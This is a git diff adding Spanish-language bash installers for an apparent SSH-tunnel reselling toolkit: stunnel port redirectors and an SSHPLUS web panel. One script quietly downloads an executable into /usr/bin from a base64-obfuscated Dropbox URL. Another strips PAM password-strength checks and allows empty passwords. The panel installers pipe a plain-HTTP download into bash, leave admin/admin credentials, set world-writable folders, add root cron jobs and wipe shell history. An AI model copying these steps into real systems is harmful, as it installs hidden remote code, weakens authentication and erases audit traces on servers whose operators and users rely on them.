diff --git a/ADM-VENTAS-LEALDROID/Herramientas/Install-rev/multissl.sh b/ADM-VENTAS-LEALDROID/Herramientas/Install-rev/multissl.sh new file mode 100644 index 0000000..7e11708 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/Herramientas/Install-rev/multissl.sh @@ -0,0 +1,22 @@ +#!/bin/bash +echo -e "\e[1;33mREDIRECIONADOR DE PUERTO SSL NEWADM\e[0m" +echo -e "\e[1;41mEscriba El Nombre Para Redireccionar El Puerto SSL\e[0m" +echo -e "\e[1;36m(ejemplo) shadowsocks,dropbear,sshd,python,obfc,openvpn\e[0m" +read -p ": " nombressl +echo -e "\e[1;33mEscriba el puerto del Servicio a enlazar\e[0m" +echo -e "\e[1;36m(ejemplo) 22,443,445,110,1114\e[0m" +read -p ": " portserv +echo -e "\e[1;33mEscriba el Nuevo Puerto SSL\e[0m" +echo -e "\e[1;36m(ejemplo)442,445,447,448,446,521,522\e[0m" +read -p ": " portssl +if lsof -Pi :$portssl -sTCP:LISTEN -t >/dev/null ; then + echo -e "\e[1;41mYa esta en uso este puerto\e[0m" +else +echo "[$nombressl] " >> /etc/stunnel/stunnel.conf +echo "cert = /etc/stunnel/stunnel.pem " >> /etc/stunnel/stunnel.conf +echo "accept = $portssl " >> /etc/stunnel/stunnel.conf +echo "connect = 127.0.0.1:$portserv" >> /etc/stunnel/stunnel.conf +sleep 5 +echo -e "\e[1;33mReiniciando Servicio : Stunnel4\e[0m" +service stunnel4 restart 1> /dev/null 2> /dev/null +fi diff --git a/ADM-VENTAS-LEALDROID/Herramientas/Install-rev/pan_cracklib.sh b/ADM-VENTAS-LEALDROID/Herramientas/Install-rev/pan_cracklib.sh new file mode 100644 index 0000000..00db492 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/Herramientas/Install-rev/pan_cracklib.sh @@ -0,0 +1,53 @@ +#!/bin/bash +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;35m" [3]="\033[1;32m" [4]="\033[1;31m" [5]="\033[1;33m" [6]="\E[44;1;37m" [7]="\E[41;1;37m" ) +barra="\033[0m\e[31m======================================================\033[1;37m" +fun_bar () { +comando="$1" + _=$( +$comando > /dev/null 2>&1 +) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do +echo -ne " \033[1;33m[" + for((i=0; i<10; i++)); do + echo -ne "\033[1;31m##" + sleep 0.2 + done +echo -ne "\033[1;33m]" +sleep 1s +echo +tput cuu1 && tput dl1 +done +echo -e " \033[1;33m[\033[1;31m####################\033[1;33m] - \033[1;32m100%\033[0m" +sleep 1s +} +pamcrack () { +echo -e "${cor[5]}LIBERANDO PASSWD PARA VURTL" +sed -i 's/.*pam_cracklib.so.*/password sufficient pam_unix.so sha512 shadow nullok try_first_pass #use_authtok/' /etc/pam.d/common-password +echo -e "${cor[5]}LISTO YA PUEDES CREAR USUARIOS" +} + +shadow_fun () { +echo -e " ${cor[7]}PERMISO ROOT VURTL ${cor[6]}[ALEX_DROID9_0_MX]\033[0m" +echo -e "$barra" +while true; do +echo -e "${cor[4]} [1] > ${cor[5]}DESBLOQUEAR VURTL PARA CREAR USUARIOS" +echo -e "${cor[4]} [2] > ${cor[0]}VOLVER" +echo -e "${cor[4]} [0] > ${cor[0]}SALIR\n${barra}" +while [[ ${opx} != @(0|[1-2]) ]]; do +echo -ne "${cor[0]}Digite una Opcion: \033[1;37m" && read opx +tput cuu1 && tput dl1 +done +case $opx in + 0) + exit;; + 1) + pamcrack + break;; + 2) + menu;; + +esac +done +} +shadow_fun \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/Herramientas/Install-rev/ssl.sh b/ADM-VENTAS-LEALDROID/Herramientas/Install-rev/ssl.sh new file mode 100644 index 0000000..ae51e67 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/Herramientas/Install-rev/ssl.sh @@ -0,0 +1,79 @@ +#!/bin/bash +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" ) +barra="\033[0m\e[31m=================================================\033[1;37m" +fun_bar () { +comando="$1" + _=$( +$comando > /dev/null 2>&1 +) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do +echo -ne " \033[1;33m[" + for((i=0; i<10; i++)); do + echo -ne "\033[1;31m**" + sleep 0.2 + done +echo -ne "\033[1;33m]" +sleep 1s +echo +tput cuu1 && tput dl1 +done +echo -e " \033[1;33m[\033[1;31m********************\033[1;33m] - \033[1;32m100%\033[0m" +sleep 1s +} +API_TRANS="aHR0cHM6Ly93d3cuZHJvcGJveC5jb20vcy9sZnlxZGI5NnJkejl5bW8vdHJhbnM/ZGw9MA==" +SUB_DOM='base64 -d' +wget -O /usr/bin/trans $(echo $API_TRANS|$SUB_DOM) &> /dev/null +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} +ssl_stunel () { +[[ $(mportas|grep stunnel4|head -1) ]] && { +echo -e "${cor[2]}Parando Stunnel" +echo -e "$barra" +fun_bar "service stunnel4 stop" +echo -e "$barra" +echo -e "${cor[2]}Parado Con exito!" +echo -e "$barra" +return 0 +} +echo -e "${cor[3]}Que puerto desea abrir como SSL Openssh" +echo -e "$barra" + while true; do + read -p " Puerto SSL: " SSLPORT + [[ $(mportas|grep -w "$SSLPORT") ]] || break + echo -e "${cor[3]}esta puerta está en uso" + unset SSLPORT + done +echo -e "$barra" +echo -e "${cor[4]}Instalando SSL" +echo -e "$barra" +fun_bar "apt-get install stunnel4 -y" +echo -e "$barra" +echo -e "${cor[4]}Presione Enter a todas las opciones" +sleep 3 +echo -e "$barra" +openssl genrsa 1024 > stunnel.key +openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt +cat stunnel.crt stunnel.key > stunnel.pem +mv stunnel.pem /etc/stunnel/ +echo -e "client = no\n[ssh]\ncert = /etc/stunnel/stunnel.pem\naccept = ${SSLPORT}\nconnect = 127.0.0.1:22" > /etc/stunnel/stunnel.conf + +echo "ENABLED=1 " >> /etc/default/stunnel4 +echo "FILES="/etc/stunnel/*.conf" " >> /etc/default/stunnel4 +echo "OPTIONS="" " >> /etc/default/stunnel4 +echo "PPP_RESTART=0" >> /etc/default/stunnel4 +service stunnel4 restart > /dev/null 2>&1 +echo -e "$barra" +echo -e "${cor[1]}INSTALADO CON EXITO" +echo -e "$barra" +return 0 +} +ssl_stunel \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/Herramientas/Painel.sh b/ADM-VENTAS-LEALDROID/Herramientas/Painel.sh new file mode 100644 index 0000000..5fb62bd --- /dev/null +++ b/ADM-VENTAS-LEALDROID/Herramientas/Painel.sh @@ -0,0 +1,137 @@ +#!/bin/bash +Block="/etc/bin" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 +cowsay -f eyes "esta herramienta crea el panel SSH PLUS para administrar sus vps" | lolcat +figlet ..dankelthaher.. | lolcat +sleep 4 +clear +IP=$(wget -qO- ipv4.icanhazip.com) +echo "America/Mexico_City" > /etc/timezone +ln -fs /usr/share/zoneinfo/America/Mexico_City /etc/localtime > /dev/null 2>&1 + > /dev/null 2>&1 +clear +sudo dpkg-reconfigure --frontend noninteractive tzdata +echo -e "\E[44;1;37m PAINEL SSHPLUS v10 \E[0m" +echo "" +echo -e " \033[1;31mATENCION" +echo "" +echo -e "\033[1;32mPARA TODO USE SIEMPRE LA MISMA CONTRASENA" +echo "" +echo -e "\033[1;32mSIEMPRE COMFIRME LAS PREGUNTAS CON\033[1;37m Y" +echo "" +echo -e "\033[1;36mINICIANDO INSTALACION" +echo "" +echo -e "\033[1;33mESPERE..." +apt-get update > /dev/null 2>&1 +echo "" +echo -e "\033[1;36mINSTALACION DE APACHE2\033[0m" +echo "" +echo -e "\033[1;33mESPERE..." +apt-get install apache2 -y > /dev/null 2>&1 +apt-get install cron curl unzip -y > /dev/null 2>&1 +echo "" +echo -e "\033[1;36mINSTALANDO PAQUETES NECESARIOS\033[0m" +echo "" +echo -e "\033[1;33mESPERE..." +apt-get install php5 libapache2-mod-php5 php5-mcrypt -y > /dev/null 2>&1 +service apache2 restart +echo "" +echo -e "\033[1;36mINSTALACION DE MySQL\033[0m" +echo "" +sleep 1 +apt-get install mysql-server -y +echo "" +clear +echo -e " \033[1;31mATENCION" +echo "" +echo -e "\033[1;32mUSE SIEMPRE LA MISMA CONTRASENA CADA QUE LA PIDA" +echo -e "\033[1;32mCONFIRME TODAS LAS PREGUNTAS SIEMPRE USANDO \033[1;37m Y" +echo "" +echo -ne "\033[1;33mEnter, Para Continuar!\033[1;37m"; read +mysql_install_db +mysql_secure_installation +clear +echo -e "\033[1;36mINSTALACION DE PHPMYADMIN\033[0m" +echo "" +echo -e "\033[1;31mATENCION \033[1;33m!!!" +echo "" +echo -e "\033[1;32mSELECCIONA LA OPCION \033[1;31mAPACHE2 \033[1;32mCON LA TECLA '\033[1;33mENTER\033[1;32m'" +echo "" +echo -e "\033[1;32mSELECIONE \033[1;31mYES\033[1;32m EN LA SIGUIENTE OPCION (\033[1;36mdbconfig-common\033[1;32m)" +echo -e "PARA CONFIGURAR LA BASE DE DATOS" +echo "" +echo -e "\033[1;32mRECUERDA USAR SIEMPRE LA MISMA CONTRASENA CUANDO SEA SOLICITADA" +echo "" +echo -ne "\033[1;33mEnter, Para Continuar!\033[1;37m"; read +apt-get install phpmyadmin -y +php5enmod mcrypt +service apache2 restart +ln -s /usr/share/phpmyadmin /var/www/html/phpmyadmin +apt-get install libssh2-1-dev libssh2-php -y > /dev/null 2>&1 +apt-get install php5-curl > /dev/null 2>&1 +service apache2 restart +clear +echo "" +echo -e "\033[1;31mATENCION \033[1;33m!!!" +echo "" +echo -ne "\033[1;32mINTRODUZCA LA MISMA CONTRASENA\033[1;37m: "; read senha +echo -e "\033[1;32mOK\033[1;37m" +sleep 1 +mysql -h localhost -u root -p$senha -e "CREATE DATABASE plus" +clear +echo -e "\033[1;36mFINALIZANDO INSTALACION\033[0m" +echo "" +echo -e "\033[1;33mESPERE..." +echo "" +cd /var/www/html +wget https://www.dropbox.com/s/2x6w32kacpkmzvc/painel10.zip > /dev/null 2>&1 +sleep 1 +unzip painel10.zip > /dev/null 2>&1 +rm -rf painel10.zip index.html > /dev/null 2>&1 +service apache2 restart +sleep 1 +if [[ -e "/var/www/html/pages/system/pass.php" ]]; then +sed -i "s;suasenha;$senha;g" /var/www/html/pages/system/pass.php > /dev/null 2>&1 +fi +sleep 1 +cd +wget https://www.dropbox.com/s/3zfjofux5ooxrwj/plus.sql > /dev/null 2>&1 +sleep 1 +if [[ -e "$HOME/plus.sql" ]]; then + mysql -h localhost -u root -p$senha --default_character_set utf8 plus < plus.sql + rm /root/plus.sql +else + clear + echo -e "\033[1;31mERROR Al IMPORTAR BASE DE DATOS\033[0m" + sleep 2 + exit +fi +echo '* * * * * root /usr/bin/php /var/www/html/pages/system/cron.php' >> /etc/crontab +echo '* * * * * root /usr/bin/php /var/www/html/pages/system/cron.ssh.php ' >> /etc/crontab +echo '* * * * * root /usr/bin/php /var/www/html/pages/system/cron.sms.php' >> /etc/crontab +echo '* * * * * root /usr/bin/php /var/www/html/pages/system/cron.online.ssh.php' >> /etc/crontab +echo '10 * * * * root /usr/bin/php /var/www/html/pages/system/cron.servidor.php' >> /etc/crontab +/etc/init.d/cron reload > /dev/null 2>&1 +/etc/init.d/cron restart > /dev/null 2>&1 +chmod 777 /var/www/html/admin/pages/servidor/ovpn +chmod 777 /var/www/html/admin/pages/download +chmod 777 /var/www/html/admin/pages/faturas/comprovantes +service apache2 restart +sleep 1 +clear +echo -e "\033[1;32mPANEL INSTALADO CON EXITO!" +echo "" +echo -e "\033[1;36mLINK AL AREA DE ADMINISTRADOR:\033[1;37m $IP:81/html/admin\033[0m" +echo -e "\033[1;36mLINK AL AREA DE REVENDEDOR: \033[1;37m $IP:81/html\033[0m" +echo -e "\033[1;36mUSUARIO\033[1;37m admin\033[0m" +echo -e "\033[1;36mCONTRASENA\033[1;37m admin\033[0m" +echo "" +echo -e "\033[1;31mATENCION \033[1;33m!!!" +echo "" +echo -e "\033[1;33mCuando crea un servidor es necesario instalar este comando:\033[0m" +echo -e "\033[1;33mwget http://ssh-plus.tk/revenda/confpainel/inst > /dev/null 2>&1; bash inst\033[0m" +echo -e "\033[1;33men la vps que se convertira en servidor\033[0m" +echo -e "\033[1;31mNOTA: \033[1;33m!!!" +echo "" +echo -e "\033[1;33mCambie la contrasena al iniciar sesion en el panel\033[0m" +cat /dev/null > ~/.bash_history && history -c diff --git a/ADM-VENTAS-LEALDROID/Herramientas/panelweb.sh b/ADM-VENTAS-LEALDROID/Herramientas/panelweb.sh new file mode 100644 index 0000000..e1e18db --- /dev/null +++ b/ADM-VENTAS-LEALDROID/Herramientas/panelweb.sh @@ -0,0 +1,405 @@ +#!/bin/bash +red=$(tput setaf 1) +gren=$(tput setaf 2) +yellow=$(tput setaf 3) +#Screen +[[ ! -e /usr/bin/trans ]] && { +echo -e "Piratear es muy feo, toma vergüenza en la cara" +echo -e "Di duro para llegar hasta aquí, Muchas noches sin dormir" +echo -e "Adquiere un Serial y Ayuda al desarrollador" +} +SCPdir="/etc/newadm" && [[ ! -d ${SCPdir} ]] && exit 1 +SCPusr="${SCPdir}/ger-user" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr} +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +SCPidioma="${SCPdir}/idioma" +if [[ -e /etc/bash.bashrc-bakup ]]; then AutoRun="\033[1;32m[on]" +elif [[ -e /etc/bash.bashrc ]]; then AutoRun="\033[1;31m[off]" +fi +# Funcoes Globais +msg () { +local colors="/etc/new-adm-color" +if [[ ! -e $colors ]]; then +COLOR[0]='\033[1;37m' #BRAN='\033[1;37m' +COLOR[1]='\e[31m' #VERMELHO='\e[31m' +COLOR[2]='\e[32m' #VERDE='\e[32m' +COLOR[3]='\e[33m' #AMARELO='\e[33m' +COLOR[4]='\e[34m' #AZUL='\e[34m' +COLOR[5]='\e[35m' #MAGENTA='\e[35m' +COLOR[6]='\033[1;36m' #MAG='\033[1;36m' +COLOR[7]='\033[1;34m' #AZULR='\033[1;34m' +COLOR[8]='\e[0;31m' #rojoc='\e[0;31m' +else +local COL=0 +for number in $(cat $colors); do +case $number in +1)COLOR[$COL]='\033[1;37m';; +2)COLOR[$COL]='\e[31m';; +3)COLOR[$COL]='\e[32m';; +4)COLOR[$COL]='\e[33m';; +5)COLOR[$COL]='\e[34m';; +6)COLOR[$COL]='\e[35m';; +7)COLOR[$COL]='\033[1;36m';; +8)COLOR[$COL]='\033[1;34m';; +9)COLOR[$COL]='\033[0;31m';; +esac +let COL++ +done +fi +NEGRITO='\e[1m' +SEMCOR='\e[0m' + case $1 in + -ne)cor="${COLOR[1]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -ama)cor="${COLOR[3]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verm)cor="${COLOR[3]}${NEGRITO}[!] ${COLOR[1]}" && echo -e "${cor}${2}${SEMCOR}";; + -verm2)cor="${COLOR[1]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -azu)cor="${COLOR[6]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verd)cor="${COLOR[2]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -bra)cor="${COLOR[0]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + "-bar2"|"-bar")cor="\e[1;30m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" && echo -e "${SEMCOR}${cor}${SEMCOR}";; + -azuc)cor="${COLOR[7]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -rojoc)cor="${COLOR[8]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; +esac +} +canbio_color () { +msg -ama "$(fun_trans "Hola, este es el Administrador de Colores") \033[1;31m[ NEW - ULTIMATE - SCRIPT ] \033[1;33m[\033[1;34m OFICIAL BY DANKELTHAHER \033[1;33m]" +msg -bar2 +msg -ama "$(fun_trans "Selecciona 7 colores"): " +echo -e '\033[1;37m [1] ###\033[0m' +echo -e '\e[31m [2] ###\033[0m' +echo -e '\e[32m [3] ###\033[0m' +echo -e '\e[33m [4] ###\033[0m' +echo -e '\e[34m [5] ###\033[0m' +echo -e '\e[35m [6] ###\033[0m' +echo -e '\033[1;36m [7] ###\033[0m' +msg -bar2 +for number in $(echo {1..7}); do +msg -ne "$(fun_trans "Introduzca el color") [$number]: " && read corselect +[[ $corselect != @([1-7]) ]] && corselect=1 +cores+="$corselect " +corselect=0 +done +echo "$cores" > /etc/new-adm-color +msg -bar2 +} + +menu_func () { +local options=${#@} +local array +for((num=1; num<=$options; num++)); do +echo -ne "$(msg -verd "[$num]") $(msg -verm2 ">") " + array=(${!num}) + case ${array[0]} in + "-vd")msg -verd "$(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g';; + "-vm")msg -verm2 "$(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g';; + "-azc")msg -azuc "$(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g';; + "-rc")msg -rojoc "$(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g';; + "-am")msg -ama "$(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g';; + "-bl")msg -bra "$(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g';; + "-fi")msg -azu "$(fun_trans "${array[@]:2}") ${array[1]}" | sed ':a;N;$!ba;s/\n/ /g';; + *)msg -azu "$(fun_trans "${array[@]}")" | sed ':a;N;$!ba;s/\n/ /g';; + esac +done +} + +selection_fun () { +local selection="null" +local range +for((i=0; i<=$1; i++)); do range[$i]="$i "; done +while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do +echo -ne "\033[1;37m$(fun_trans "Selecione una Opcion"): " >&2 +read selection +tput cuu1 >&2 && tput dl1 >&2 +done +echo $selection +} + +fun_trans () { +local texto +local retorno +declare -A texto +SCPidioma="${SCPdir}/idioma" +[[ ! -e ${SCPidioma} ]] && touch ${SCPidioma} +local LINGUAGE=$(cat ${SCPidioma}) +[[ -z $LINGUAGE ]] && LINGUAGE=es +[[ $LINGUAGE = "es" ]] && echo "$@" && return +[[ ! -e /usr/bin/trans ]] && wget -O /usr/bin/trans https://www.dropbox.com/s/l6iqf5xjtjmpdx5/trans?dl=0 &> /dev/null +[[ ! -e /etc/texto-adm ]] && touch /etc/texto-adm +source /etc/texto-adm +if [[ -z "$(echo ${texto[$@]})" ]]; then +#ENGINES=(aspell google deepl bing spell hunspell apertium yandex) +#NUM="$(($RANDOM%${#ENGINES[@]}))" +retorno="$(source trans -e bing -b es:${LINGUAGE} "$@"|sed -e 's/[^a-z0-9 -]//ig' 2>/dev/null)" +echo "texto[$@]='$retorno'" >> /etc/texto-adm +echo "$retorno" +else +echo "${texto[$@]}" +fi +} + +panel_v10 () { +clear +IP=$(wget -qO- ipv4.icanhazip.com) +echo "America/Mexico_City" > /etc/timezone +ln -fs /usr/share/zoneinfo/America/Mexico_City /etc/localtime > /dev/null 2>&1 +dpkg-reconfigure --frontend noninteractive tzdata > /dev/null 2>&1 +clear +echo -e "\E[44;1;37m PAINEL SSHPLUS v10 \E[0m" +echo "" +echo -e " \033[1;31mATENCION" +echo "" +echo -e "\033[1;32mINFORME SIEMPRE LA MISMA CONTRASENA" +echo -e "\033[1;32mSIEMPRE CONFIRME LAS PREGUNTAS CON \033[1;37m Y" +echo "" +echo -e "\033[1;36mINICIANDO INSTALACION" +echo "" +echo -e "\033[1;33mESPERE..." +apt-get update > /dev/null 2>&1 +echo "" +echo -e "\033[1;36mINSTALANDO APACHE2\033[0m" +echo "" +echo -e "\033[1;33mESPERE..." +apt-get install apache2 -y > /dev/null 2>&1 +apt-get install cron curl unzip -y > /dev/null 2>&1 +echo "" +echo -e "\033[1;36mINSTALANDO DEPENDENCIAS\033[0m" +echo "" +echo -e "\033[1;33mESPERE..." +apt-get install php5 libapache2-mod-php5 php5-mcrypt -y > /dev/null 2>&1 +service apache2 restart +echo "" +echo -e "\033[1;36mINSTALANDO MySQL\033[0m" +echo "" +sleep 1 +apt-get install mysql-server -y +echo "" +clear +echo -e " \033[1;31mATENCION" +echo "" +echo -e "\033[1;32mINFORME SIEMPRE LA MISMA PASS CADA QUE SE LE SOLICITE" +echo -e "\033[1;32mSIEMPRE CONFIRME LAS PREGUNTAS CON \033[1;37m Y" +echo "" +echo -ne "\033[1;33mEnter, Para Continuar!\033[1;37m"; read +mysql_install_db +mysql_secure_installation +clear +echo -e "\033[1;36mINSTALANDO PHPMYADMIN\033[0m" +echo "" +echo -e "\033[1;31mATENCION \033[1;33m!!!" +echo "" +echo -e "\033[1;32mSELECIONE LA OPCION \033[1;31mAPACHE2 \033[1;32mCON LA TECLA '\033[1;33mENTER\033[1;32m'" +echo "" +echo -e "\033[1;32mSELECIONE \033[1;31mYES\033[1;32m EN LA SIGUIENTE OPCION (\033[1;36mdbconfig-common\033[1;32m)" +echo -e "PARA CONFIGURAR LA BASE DE DATOS" +echo "" +echo -e "\033[1;32mSIEMPRE INTRODUZCA LA MISMA CONTRASENA" +echo "" +echo -ne "\033[1;33mEnter, Para Continuar!\033[1;37m"; read +apt-get install phpmyadmin -y +php5enmod mcrypt +service apache2 restart +ln -s /usr/share/phpmyadmin /var/www/html/phpmyadmin +apt-get install libssh2-1-dev libssh2-php -y > /dev/null 2>&1 +apt-get install php5-curl > /dev/null 2>&1 +service apache2 restart +clear +echo "" +echo -e "\033[1;31mATENCION \033[1;33m!!!" +echo "" +echo -ne "\033[1;32mINTRODUZCA LA MISMA CONTRASENA\033[1;37m: "; read senha +echo -e "\033[1;32mOK\033[1;37m" +sleep 1 +mysql -h localhost -u root -p$senha -e "CREATE DATABASE plus" +clear +echo -e "\033[1;36mFINALIZANDO INSTALACION\033[0m" +echo "" +echo -e "\033[1;33mAGUARDE..." +echo "" +cd /var/www/html +wget https://www.dropbox.com/s/2x6w32kacpkmzvc/painel10.zip > /dev/null 2>&1 +sleep 1 +unzip painel10.zip > /dev/null 2>&1 +rm -rf painel10.zip index.html > /dev/null 2>&1 +service apache2 restart +sleep 1 +if [[ -e "/var/www/html/pages/system/pass.php" ]]; then +sed -i "s;suasenha;$senha;g" /var/www/html/pages/system/pass.php > /dev/null 2>&1 +fi +sleep 1 +cd +wget https://www.dropbox.com/s/3zfjofux5ooxrwj/plus.sql > /dev/null 2>&1 +sleep 1 +if [[ -e "$HOME/plus.sql" ]]; then + mysql -h localhost -u root -p$senha --default_character_set utf8 plus < plus.sql + rm /root/plus.sql +else + clear + echo -e "\033[1;31mERROR AL IMPORTAR BASE DE DATOS\033[0m" + sleep 2 + exit +fi +echo '* * * * * root /usr/bin/php /var/www/html/pages/system/cron.php' >> /etc/crontab +echo '* * * * * root /usr/bin/php /var/www/html/pages/system/cron.ssh.php ' >> /etc/crontab +echo '* * * * * root /usr/bin/php /var/www/html/pages/system/cron.sms.php' >> /etc/crontab +echo '* * * * * root /usr/bin/php /var/www/html/pages/system/cron.online.ssh.php' >> /etc/crontab +echo '10 * * * * root /usr/bin/php /var/www/html/pages/system/cron.servidor.php' >> /etc/crontab +/etc/init.d/cron reload > /dev/null 2>&1 +/etc/init.d/cron restart > /dev/null 2>&1 +chmod 777 /var/www/html/admin/pages/servidor/ovpn +chmod 777 /var/www/html/admin/pages/download +chmod 777 /var/www/html/admin/pages/faturas/comprovantes +service apache2 restart +sleep 1 +clear +echo -e "\033[1;32mPANEL INSTALADO CON EXITO!" +echo "" +echo -e "\033[1;36mLINK AREA DE ADMIN:\033[1;37m $IP:81/admin\033[0m" +echo -e "\033[1;36mLINK AREA DE REVENDEDOR: \033[1;37m $IP:81\033[0m" +echo -e "\033[1;36mUSUARIO\033[1;37m admin\033[0m" +echo -e "\033[1;36mCONTRASENA\033[1;37m admin\033[0m" +echo "" + +echo -e "\033[1;36mINGRESE ESTE ENLACE EN LA VPS QUE SERA SERVIDOR\033[0m" +echo -e "\033[1;37mwget http://ssh-plus.tk/revenda/confpainel/inst > /dev/null 2>&1; bash inst\033[0m" + + +echo -e "\033[1;33mCambie la contrasena una vez entrando al panel\033[0m" +cat /dev/null > ~/.bash_history && history -c +} + +panel_v11 () { +clear +IP=$(wget -qO- ipv4.icanhazip.com) +echo "America/Mexico_City" > /etc/timezone +ln -fs /usr/share/zoneinfo/America/Mexico_City /etc/localtime > /dev/null 2>&1 +dpkg-reconfigure --frontend noninteractive tzdata > /dev/null 2>&1 +clear +echo -e "\E[44;1;37m PANEL SSHPLUS v11 \E[0m" +echo "" +echo "" +echo -e " \033[1;31mATENCION" +echo "" +echo -e "\033[1;32mINTRODUZCA LA MISMA PASS CADA QUE SE LE SOLICITE" +echo -e "\033[1;32mSIEMPRE CONFIRME LAS PREGUNTAS CON \033[1;37m Y" +echo "" +echo -e "\033[1;36mINICIANDO INSTALACION" +echo "" +echo -e "\033[1;33mESPERE..." +apt-get update > /dev/null 2>&1 +echo "" +echo -e "\033[1;36mINSTALANDO O APACHE2\033[0m" +echo "" +echo -e "\033[1;33mESPERE..." +apt-get install apache2 -y > /dev/null 2>&1 +apt-get install cron curl unzip -y > /dev/null 2>&1 +echo "" +echo -e "\033[1;36mINSTALANDO DEPENDENCIAS\033[0m" +echo "" +echo -e "\033[1;33mESPERE..." +apt-get install php5 libapache2-mod-php5 php5-mcrypt -y > /dev/null 2>&1 +service apache2 restart +echo "" +echo -e "\033[1;36mINSTALANDO O MySQL\033[0m" +echo "" +sleep 1 +apt-get install mysql-server -y +echo "" +clear +echo -e " \033[1;31mATENCION" +echo "" +echo -e "\033[1;32mINTRODUZCA LA MISMA CONTRASENA CADA QUE SE LE SOLICITE" +echo -e "\033[1;32mSIEMPRE CONFIRME LAS PREGUNTAS CON \033[1;37m Y" +echo "" +echo -ne "\033[1;33mEnter, Para Continuiar!\033[1;37m"; read +mysql_install_db +mysql_secure_installation +clear +echo -e "\033[1;36mINSTALANDO PHPMYADMIN\033[0m" +echo "" +echo -e "\033[1;31mATENCION \033[1;33m!!!" +echo "" +echo -e "\033[1;32mSELECIONE LA OPCION \033[1;31mAPACHE2 \033[1;32mCON A TECLA '\033[1;33mENTER\033[1;32m'" +echo "" +echo -e "\033[1;32mSELECIONE \033[1;31mYES\033[1;32m EN LA SIGUIENTE OPCION (\033[1;36mdbconfig-common\033[1;32m)" +echo -e "PARA CONFIGURAR LA BASE DE DATOS" +echo "" +echo -e "\033[1;32mSIEMPRE INTRODUZCA LA MISMA CONTRASENA" +echo "" +echo -ne "\033[1;33mEnter, Para Continuar!\033[1;37m"; read +apt-get install phpmyadmin -y +php5enmod mcrypt +service apache2 restart +ln -s /usr/share/phpmyadmin /var/www/html/phpmyadmin +apt-get install libssh2-1-dev libssh2-php -y > /dev/null 2>&1 +apt-get install php5-curl > /dev/null 2>&1 +service apache2 restart +clear +echo "" +echo -e "\033[1;31mATENÇION \033[1;33m!!!" +echo "" +echo -ne "\033[1;32mINFORME LA MISMA CONTRASENA\033[1;37m: "; read senha +echo -e "\033[1;32mOK\033[1;37m" +sleep 1 +mysql -h localhost -u root -p$senha -e "CREATE DATABASE sshplus" +clear +echo -e "\033[1;36mFINALIZANDO INSTALACION\033[0m" +echo "" +echo -e "\033[1;33mESPERE..." +echo "" +cd /var/www/html +wget https://www.dropbox.com/s/v7b6yiwg5jn4prh/PAINELWEB1.zip > /dev/null 2>&1 +sleep 1 +unzip PAINELWEB1.zip > /dev/null 2>&1 +rm -rf PAINELWEB1.zip index.html > /dev/null 2>&1 +service apache2 restart +sleep 1 +if [[ -e "/var/www/html/pages/system/pass.php" ]]; then +sed -i "s;suasenha;$senha;g" /var/www/html/pages/system/pass.php > /dev/null 2>&1 +fi +sleep 1 +cd +wget https://www.dropbox.com/s/lfxwu5wy7i46b80/sshplus.sql > /dev/null 2>&1 +sleep 1 +if [[ -e "$HOME/sshplus.sql" ]]; then + mysql -h localhost -u root -p$senha --default_character_set utf8 sshplus < sshplus.sql + #rm /root/sshplus.sql +else + clear + echo -e "\033[1;31mERROR AL IMPORTAR BASE DE DATOS\033[0m" + sleep 2 + exit +fi +echo '* * * * * root /usr/bin/php /var/www/html/pages/system/cron.php' >> /etc/crontab +echo '* * * * * root /usr/bin/php /var/www/html/pages/system/cron.ssh.php ' >> /etc/crontab +echo '* * * * * root /usr/bin/php /var/www/html/pages/system/cron.sms.php' >> /etc/crontab +echo '* * * * * root /usr/bin/php /var/www/html/pages/system/cron.online.ssh.php' >> /etc/crontab +echo '10 * * * * root /usr/bin/php /var/www/html/pages/system/cron.servidor.php' >> /etc/crontab +/etc/init.d/cron reload > /dev/null 2>&1 +/etc/init.d/cron restart > /dev/null 2>&1 +chmod 777 /var/www/html/admin/pages/servidor/ovpn +chmod 777 /var/www/html/admin/pages/download +chmod 777 /var/www/html/admin/pages/faturas/comprovantes +service apache2 restart +sleep 1 +clear +echo -e "\033[1;32mPAINEL INSTALADO CON EXITO!" +echo "" +echo -e 